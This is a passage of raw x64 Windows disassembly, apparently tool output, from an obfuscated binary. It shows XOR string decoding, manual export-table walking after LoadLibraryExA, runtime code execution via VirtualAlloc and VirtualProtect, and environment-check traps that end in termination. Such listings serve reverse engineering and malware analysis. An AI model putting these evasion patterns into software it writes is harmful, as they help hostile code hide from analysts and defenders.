mov byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14001d114
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140016e34
mov rax, qword gs:[0x56]
cmp rax, r15
mov esi, 0xcc8395cb
jne 0x14001d23b
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d21b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d21b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d23b
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008cc28
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14001d3d4
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xef
mov r10, r14
movabs rsi, 0x1825ef713
movabs r8, 0x19a84e6854
lea r11d, [rax + 0x11]
movabs r9, 0x33509cd0a8
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001d2a6
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400d7350]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400d7270]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x756d
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x66a139a150
cmp r9, rax
jb 0x14001d342
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008cc28
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400f0290], r14
jne 0x14001d410
mov ecx, 0x26b0
call fcn.1400914ec
test rax, rax
je 0x14001d410
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400f0290], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400d74a0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14002742c
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14001d44f
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400f0290]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14001d56b
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001d523
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400914ec
mov rsi, rax
test rax, rax
je 0x14001d568
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f0290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400af6e0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400afd80
mov rcx, rdi
call fcn.1400913c8
mov qword [0x1400f0290], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140027344
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14001d58c
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400f0290]
test rbx, rbx
je 0x14001d696
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001d650
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400914ec
mov rsi, rax
test rax, rax
je 0x14001d693
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f0290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400af6e0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400afd80
mov rcx, rdi
call fcn.1400913c8
mov qword [0x1400f0290], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001d8c5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001d8c5
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001d8c5
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001d8c5
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001d8c5
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001d72a
inc rax
test edi, edi
jne 0x14001d715
test r8d, r8d
je 0x14001d73c
inc rdx
cmp rdx, rsi
jb 0x14001d704
jmp 0x14001d8c5
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001d8c5
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14001d761
mov r14d, r15d
jmp 0x14001d8c5
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.140085c60
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140027f08
lea rcx, [rbp + 0x87b0]
call fcn.1400274a0
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.1400274a0
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001d7d8
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400af6e0
mov dword [0x1400e9cc4], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400e9cc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e9cc8]
mov word [rdi + 8], ax
mov al, byte [0x1400e9cca]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400afd80
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e9cc4], r15d
mov rdi, qword [0x1400f0290]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x14001d979
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001d967
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001d967
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14001d92c
xor edx, edx
call fcn.1400afd80
jmp 0x14001d965
cmp al, 1
jne 0x14001d967
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.140027c70
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140027e24
lea rcx, [rbp + 0x1168]
call fcn.140027db4
lea rcx, [rbp + 0x1168]
call fcn.14000ad08
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14001d8f0
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400afd80
mov rcx, rdi
call fcn.1400913c8
xor r15d, r15d
mov qword [0x1400f0290], r15
test r14d, r14d
js 0x140025e00
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140025e00
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400914ec
test rax, rax
je 0x14001d9dd
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400f0290], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400d74a0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14002742c
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14001da20
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400f0290]
test rbx, rbx
je 0x14001db47
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001daf3
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400914ec
mov rsi, rax
test rax, rax
je 0x14001db3a
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f0290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400af6e0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400afd80
mov rcx, rdi
call fcn.1400913c8
mov qword [0x1400f0290], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001db3d
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140027344
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14001db5e
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400f0290]
test rbx, rbx
je 0x14001dc6d
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001dc25
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400914ec
mov rsi, rax
test rax, rax
je 0x14001dc6a
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f0290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400af6e0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400afd80
mov rcx, rdi
call fcn.1400913c8
mov qword [0x1400f0290], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001dc6d
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001dcfe
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001dcfe
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001dcfe
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001dcfe
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001dcfe
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001dced
inc rax
test edi, edi
jne 0x14001dcd8
test r8d, r8d
je 0x14001dd79
inc rdx
cmp rdx, rsi
jb 0x14001dcc7
mov r14d, r15d
mov rdi, qword [0x1400f0290]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x14001df48
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001df36
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001df36
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14001defd
xor edx, edx
call fcn.1400afd80
jmp 0x14001df36
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001dcfe
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14001dcfe
cmp al, 1
jne 0x14001df36
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.140027c70
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140027e24
lea rcx, [rbp + 0x1148]
call fcn.140027db4
lea rcx, [rbp + 0x1148]
call fcn.14000ad08
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14001dd2e
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400afd80
mov rcx, rdi
call fcn.1400913c8
mov qword [0x1400f0290], r13
test r14d, r14d
js 0x140025c6f
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x140025c6f
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x14001dff9
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14001e072
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x14001e054
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
mov qword [rbp + 0xf50], r13
mov r8d, r13d
mov rdi, r13
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x14001e10d
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x285d0]
movabs rsi, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, rsi
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14001e186
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xef
mov r10, r13
movabs rbx, 0x1825ef714
movabs rsi, 0x8080808080808081
movabs r8, 0x19a84e6854
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x33509cd0a8
movabs r14, 0x1825ef713
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140025cc3
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400d71e0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x7ffbb969
mov dword [rbp + 0x96c], 0xf39880b3
mov dword [rbp + 0x970], 0xfbe418a8
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x2a42630630
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x5484c60c60
cmp r9, rax
jb 0x140025d6e
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xef
mov r10, r15
movabs rbx, 0x1825ef714
movabs rsi, 0x8080808080808081
movabs r8, 0x19a84e6854
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x33509cd0a8
movabs r14, 0x1825ef713
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140025e54
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400d71a0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x7e82a14f
mov word [rbp + 0x754], Ordinal_211
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1fb1ca44a4
movabs r10, 0x3f63948948
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140025ef8
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008cc28
int3
mov ebx, 0xd745567d
cmp rax, rbx
jne 0x14002603b
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x2c2bb5e7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002601b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002601b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002603b
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xef
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x19a84e6854
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x33509cd0a8
movabs r15, 0x1825ef713
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140026085
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400d71b0]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x368e26e4
mov dword [rbp + 0x82c], 0xa47962
mov r8, r14
movabs r9, 0x22b68832cc
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x456d106598
cmp r9, rax
jb 0x140026120
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x14002625e
mov rax, qword gs:[0x5d]
mov ecx, 0xcc8395cb
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002623e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002623e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002625e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x1400268f3
mov rax, qword gs:[0x5d]
movabs rbx, 0xfee0f20abddaa1c0
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
